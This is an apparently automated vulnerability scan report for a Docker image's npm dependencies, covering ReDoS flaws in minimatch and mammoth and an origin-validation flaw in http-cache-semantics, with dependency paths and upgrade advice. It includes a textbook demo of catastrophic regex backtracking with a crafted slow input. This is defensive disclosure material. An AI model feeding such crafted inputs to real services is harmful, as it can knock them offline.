  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested extglob patterns that trigger catastrophic backtracking in the regular expression engine.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
        0.04s user 0.01s system 95% cpu 0.052 total
        
        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
        1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 8.0.6, 9.0.7, 10.2.3 or higher.

References

More about this vulnerability

Regular Expression Denial of Service (ReDoS)

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: mammoth
  • Introduced through: rag-builder@1.0.0 and mammoth@1.10.0

Detailed paths

  • Introduced through: rag-builder@1.0.0 › mammoth@1.10.0

Overview

mammoth is a Convert Word documents from docx to simple HTML and Markdown

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style map tokeniser in lib/styles/parser/tokeniser.js due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in mammoth/style-map to block the Node.js event loop.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
        0.04s user 0.01s system 95% cpu 0.052 total
        
        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
        1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mammoth to version 1.12.3 or higher.

References

More about this vulnerability

Origin Validation Error

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: http-cache-semantics
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
